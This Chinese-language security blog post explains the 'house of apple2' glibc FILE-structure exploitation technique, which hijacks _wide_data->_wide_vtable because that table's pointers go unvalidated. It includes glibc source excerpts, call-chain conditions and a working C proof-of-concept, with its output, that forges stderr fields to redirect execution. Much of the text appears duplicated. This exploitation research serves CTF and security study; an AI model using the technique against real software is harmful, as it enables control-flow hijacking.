house of apple
系列利用方法文章:
之前提出了一种新的IO
利用方法 house of apple。本篇是house of apple1
的续集,继续给出基于IO_FILE->_wide_data
的利用技巧。
在 house of apple1 的总结 里面提到: house of apple1
的利用链可以在任意地址写堆地址,相当于一次largebin attack
的效果。因此,house of apple1
需要和其他方法结合而进行后续的FSOP
利用。
那么在只劫持_wide_data
的条件下能不能控制程序的执行流呢?答案是肯定的。
本篇的house of apple2
会提出几条新的IO
利用链,在劫持_IO_FILE->_wide_data
的基础上,直接控制程序执行流。
关于前置知识这里就不赘述了,详情可看 house of apple1。
使用house of apple2
的条件为:
stdin/stdout/stderr
这三个_IO_FILE
结构体使用的是_IO_file_jumps
这个vtable
,而当需要调用到vtable
里面的函数指针时,会使用宏去调用。以_IO_file_overflow
调用为例,glibc
中调用的代码片段分析如下
其中,IO_validate_vtable
函数负责检查vtable
的合法性,会判断vtable
的地址是不是在一个合法的区间。如果vtable
的地址不合法,程序将会异常终止。
观察struct _IO_wide_data
结构体,发现其对应有一个_wide_vtable
成员。
在调用_wide_vtable
虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow
调用为例,所用到的宏依次为:
可以看到,在调用_wide_vtable
里面的成员函数指针时,没有关于vtable的合法性检查。
因此,我们可以劫持IO_FILE
的vtable
为_IO_wfile_jumps
,控制_wide_data
为可控的堆地址空间,进而控制_wide_data->_wide_vtable
为可控的堆地址空间。控制程序执行IO
流函数调用,最终调用到_IO_Wxxxxx
函数即可控制程序的执行流。
以下面提到的_IO_wdefault_xsgetn
函数利用为例,编写demo
示例如下:
编译后输出:
可以看到,成功调用了后门函数。
目前在glibc
源码中搜索到的_IO_WXXXXX
系列函数的调用只有_IO_WSETBUF
、_IO_WUNDERFLOW
、_IO_WDOALLOCATE
和_IO_WOVERFLOW
。
其中_IO_WSETBUF
和_IO_WUNDERFLOW
目前无法利用或利用困难,其余的均可构造合适的_IO_FILE
进行利用。这里给出我总结的几条比较好利用的链。以下使用fp
指代_IO_FILE
结构体变量。
对fp
的设置如下:
函数的调用链如下:
详细分析如下:
首先看_IO_wfile_overflow
函数
需要满足f->_flags & _IO_NO_WRITES == 0
并且f->_flags & _IO_CURRENTLY_PUTTING == 0
和f->_wide_data->_IO_write_base == 0
然后看_IO_wdoallocbuf
函数:
需要满足fp->_wide_data->_IO_buf_base != 0
和fp->_flags & _IO_UNBUFFERED == 0
。
对fp
的设置如下:
函数的调用链如下:
详细分析如下:
看_IO_wfile_underflow_mmap
函数:
需要设置fp->_flags & _IO_NO_READS == 0
,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
,设置fp->_IO_read_ptr < fp->_IO_read_end
不进入调用,设置fp->_wide_data->_IO_buf_base == NULL
和fp->_wide_data->_IO_save_base == NULL
。
这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。
对fp
的设置如下:
函数的调用链如下:
详细分析如下:
首先看_IO_wdefault_xsgetn
函数:
由于more
是第三个参数,所以不能为0
。
直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end
,使得count
为0
,不进入if
分支。
随后当more != 0
时会进入__wunderflow
。
接着看__wunderflow
:
要想调用到_IO_switch_to_wget_mode
,需要设置fp->mode > 0
,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0
。
然后在_IO_switch_to_wget_mode
函数中:
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
时就会调用_IO_WOVERFLOW(fp)
。
仍然以 house of apple 中的pwn_oneday
为例。
程序的详细分析就不在此赘述。为了方便展示利用效果,后面的rop
部分就不做了,我们利用本篇文章提出的方法输出 hack!
字符串。
在largebin attack
攻击_IO_list_all
之后,伪造_IO_FILE
结构:
所以最后的exp
为:
调试如下:
通过exit
执行到_IO_wdoallocbuf
:
成功输出 hack!
:
house of apple
主要关注对_IO_FILE->_wide_data
成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。
可以看到,对_wide_data->_wide_vtable
虚表的成员函数指针调用时并不存在vtable
的检查,因此,可以利用该漏洞进行FSOP
。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
struct
_IO_wide_data
{
wchar_t
*_IO_read_ptr;
wchar_t
*_IO_read_end;
wchar_t
*_IO_read_base;
wchar_t
*_IO_write_base;
wchar_t
*_IO_write_ptr;
wchar_t
*_IO_write_end;
wchar_t
*_IO_buf_base;
wchar_t
*_IO_buf_end;
wchar_t
*_IO_save_base;
wchar_t
*_IO_backup_base;
wchar_t
*_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct
_IO_codecvt _codecvt;
wchar_t
_shortbuf[1];
const
struct
_IO_jump_t *_wide_vtable;
};
struct
_IO_wide_data
{
wchar_t
*_IO_read_ptr;
wchar_t
*_IO_read_end;
wchar_t
*_IO_read_base;
wchar_t
*_IO_write_base;
wchar_t
*_IO_write_ptr;
wchar_t
*_IO_write_end;
wchar_t
*_IO_buf_base;
wchar_t
*_IO_buf_end;
wchar_t
*_IO_save_base;
wchar_t
*_IO_backup_base;
wchar_t
*_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct
_IO_codecvt _codecvt;
wchar_t
_shortbuf[1];
const
struct
_IO_jump_t *_wide_vtable;
};
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS),
struct
_IO_FILE, _wide_data)->_wide_vtable
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS),
struct
_IO_FILE, _wide_data)->_wide_vtable
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void
backdoor()
{
printf
(
"\033[31m[!] Backdoor is called!\n"
);
_exit(0);
}
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setbuf
(stderr, 0);
char
*p1 =
calloc
(0x200, 1);
char
*p2 =
calloc
(0x200, 1);
puts
(
"[*] allocate two 0x200 chunks"
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
libc_base_addr = puts_addr - 0x84420;
printf
(
"[*] libc base address: %p\n"
, (
void
*)libc_base_addr);
size_t
_IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf
(
"[*] _IO_2_1_stderr_ address: %p\n"
, (
void
*)_IO_2_1_stderr_addr);
size_t
_IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf
(
"[*] _IO_wstrn_jumps address: %p\n"
, (
void
*)_IO_wstrn_jumps_addr);
char
*stderr2 = (
char
*)_IO_2_1_stderr_addr;
puts
(
"[+] step 1: change stderr->_flags to 0x800"
);
*(
size_t
*)stderr2 = 0x800;
puts
(
"[+] step 2: change stderr->_mode to 1"
);
*(
size_t
*)(stderr2 + 0xc0) = 1;
puts
(
"[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20"
);
*(
size_t
*)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
puts
(
"[+] step 4: replace stderr->_wide_data with the allocated chunk p1"
);
*(
size_t
*)(stderr2 + 0xa0) = (
size_t
)p1;
puts
(
"[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2"
);
*(
size_t
*)(p1 + 0xe0) = (
size_t
)p2;
puts
(
"[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base"
);
*(
size_t
*)(p1 + 0x20) = (
size_t
)1;
puts
(
"[+] step 7: put backdoor at fake _wide_vtable->_overflow"
);
*(
size_t
*)(p2 + 0x18) = (
size_t
)(&backdoor);
puts
(
"[+] step 8: call fflush(stderr) to trigger backdoor func"
);
fflush
(stderr);
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void
backdoor()
{
printf
(
"\033[31m[!] Backdoor is called!\n"
);
_exit(0);
}
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setbuf
(stderr, 0);
char
*p1 =
calloc
(0x200, 1);
char
*p2 =
calloc
(0x200, 1);
puts
(
"[*] allocate two 0x200 chunks"
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
libc_base_addr = puts_addr - 0x84420;
printf
(
"[*] libc base address: %p\n"
, (
void
*)libc_base_addr);
size_t
_IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf
(
"[*] _IO_2_1_stderr_ address: %p\n"
, (
void
*)_IO_2_1_stderr_addr);
size_t
_IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf
(
"[*] _IO_wstrn_jumps address: %p\n"
, (
void
*)_IO_wstrn_jumps_addr);
char
*stderr2 = (
char
*)_IO_2_1_stderr_addr;
puts
(
"[+] step 1: change stderr->_flags to 0x800"
);
*(
size_t
*)stderr2 = 0x800;
puts
(
"[+] step 2: change stderr->_mode to 1"
);
*(
size_t
*)(stderr2 + 0xc0) = 1;
puts
(
"[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20"
);
*(
size_t
*)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
puts
(
"[+] step 4: replace stderr->_wide_data with the allocated chunk p1"
);
*(
size_t
*)(stderr2 + 0xa0) = (
size_t
)p1;
puts
(
"[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2"
);
*(
size_t
*)(p1 + 0xe0) = (
size_t
)p2;
puts
(
"[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base"
);
*(
size_t
*)(p1 + 0x20) = (
size_t
)1;
puts
(
"[+] step 7: put backdoor at fake _wide_vtable->_overflow"
);
*(
size_t
*)(p2 + 0x18) = (
size_t
)(&backdoor);
puts
(
"[+] step 8: call fflush(stderr) to trigger backdoor func"
);
fflush
(stderr);
}
[
*
] allocate two
0x200
chunks
[
*
] puts address:
0x7f8f73d2e420
[
*
] libc base address:
0x7f8f73caa000
[
*
] _IO_2_1_stderr_ address:
0x7f8f73e975c0
[
*
] _IO_wstrn_jumps address:
0x7f8f73e92c60
[
+
] step
1
: change stderr
-
>_flags to
0x800
[
+
] step
2
: change stderr
-
>_mode to
1
[
+
] step
3
: change stderr
-
>vtable to _IO_wstrn_jumps
-
0x20
[
+
] step
4
: replace stderr
-
>_wide_data with the allocated chunk p1
[
+
] step
5
:
set
stderr
-
>_wide_data
-
>_wide_vtable with the allocated chunk p2
[
+
] step
6
:
set
stderr
-
>_wide_data
-
>_wide_vtable
-
>_IO_write_ptr > stderr
-
>_wide_data
-
>_wide_vtable
-
>_IO_write_base
[
+
] step
7
: put backdoor at fake _wide_vtable
-
>_overflow
[
+
] step
8
: call fflush(stderr) to trigger backdoor func
[!] Backdoor
is
called!
[
*
] allocate two
0x200
chunks
[
*
] puts address:
0x7f8f73d2e420
[
*
] libc base address:
0x7f8f73caa000
[
*
] _IO_2_1_stderr_ address:
0x7f8f73e975c0
[
*
] _IO_wstrn_jumps address:
0x7f8f73e92c60
[
+
] step
1
: change stderr
-
>_flags to
0x800
[
+
] step
2
: change stderr
-
>_mode to
1
[
+
] step
3
: change stderr
-
>vtable to _IO_wstrn_jumps
-
0x20
[
+
] step
4
: replace stderr
-
>_wide_data with the allocated chunk p1
[
+
] step
5
:
set
stderr
-
>_wide_data
-
>_wide_vtable with the allocated chunk p2
[
+
] step
6
:
set
stderr
-
>_wide_data
-
>_wide_vtable
-
>_IO_write_ptr > stderr
-
>_wide_data
-
>_wide_vtable
-
>_IO_write_base
[
+
] step
7
: put backdoor at fake _wide_vtable
-
>_overflow
[
+
] step
8
: call fflush(stderr) to trigger backdoor func
[!] Backdoor
is
called!
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x68
)(fp)
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x68
)(fp)
wint_t
_IO_wfile_overflow (
FILE
*f,
wint_t
wch)
{
if
(f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
if
(f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
}
}
}
wint_t
_IO_wfile_overflow (
FILE
*f,
wint_t
wch)
{
if
(f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
if
(f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
}
}
}
void
_IO_wdoallocbuf (
FILE
*fp)
{
if
(fp->_wide_data->_IO_buf_base)
return
;
if
(!(fp->_flags & _IO_UNBUFFERED))
if
((
wint_t
)_IO_WDOALLOCATE (fp) != WEOF)
return
;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
void
_IO_wdoallocbuf (
FILE
*fp)
{
if
(fp->_wide_data->_IO_buf_base)
return
;
if
(!(fp->_flags & _IO_UNBUFFERED))
if
((
wint_t
)_IO_WDOALLOCATE (fp) != WEOF)
return
;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x68
)(fp)
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x68
)(fp)
static
wint_t
_IO_wfile_underflow_mmap (
FILE
*fp)
{
struct
_IO_codecvt *cd;
const
char
*read_stop;
if
(__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return
*fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
if
(fp->_IO_read_ptr >= fp->_IO_read_end
&& _IO_file_underflow_mmap (fp) == EOF)
return
WEOF;
read_stop = (
const
char
*) fp->_IO_read_ptr;
if
(fp->_wide_data->_IO_buf_base == NULL)
{
if
(fp->_wide_data->_IO_save_base != NULL)
{
free
(fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
}
static
wint_t
_IO_wfile_underflow_mmap (
FILE
*fp)
{
struct
_IO_codecvt *cd;
const
char
*read_stop;
if
(__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return
WEOF;
}
if
(fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return
*fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
if
(fp->_IO_read_ptr >= fp->_IO_read_end
&& _IO_file_underflow_mmap (fp) == EOF)
return
WEOF;
read_stop = (
const
char
*) fp->_IO_read_ptr;
if
(fp->_wide_data->_IO_buf_base == NULL)
{
if
(fp->_wide_data->_IO_save_base != NULL)
{
free
(fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
}
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x18
)(fp)
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*
(fp
-
>_wide_data
-
>_wide_vtable
+
0x18
)(fp)
size_t
_IO_wdefault_xsgetn (
FILE
*fp,
void
*data,
size_t
n)
{
size_t
more = n;
wchar_t
*s = (
wchar_t
*) data;
for
(;;)
{
ssize_t count = (fp->_wide_data->_IO_read_end
- fp->_wide_data->_IO_read_ptr);
if
(count > 0)
{
if
((
size_t
) count > more)
count = more;
if
(count > 20)
{
s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
fp->_wide_data->_IO_read_ptr += count;
}
else
if
(count <= 0)
count = 0;
else
{
wchar_t
*p = fp->_wide_data->_IO_read_ptr;
int
i = (
int
) count;
while
(--i >= 0)
*s++ = *p++;
fp->_wide_data->_IO_read_ptr = p;
}
more -= count;
}
if
(more == 0 || __wunderflow (fp) == WEOF)
break
;
}
return
n - more;
}
libc_hidden_def (_IO_wdefault_xsgetn)
size_t
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-12-20 13:32
被roderick01编辑
,原因: 更新链接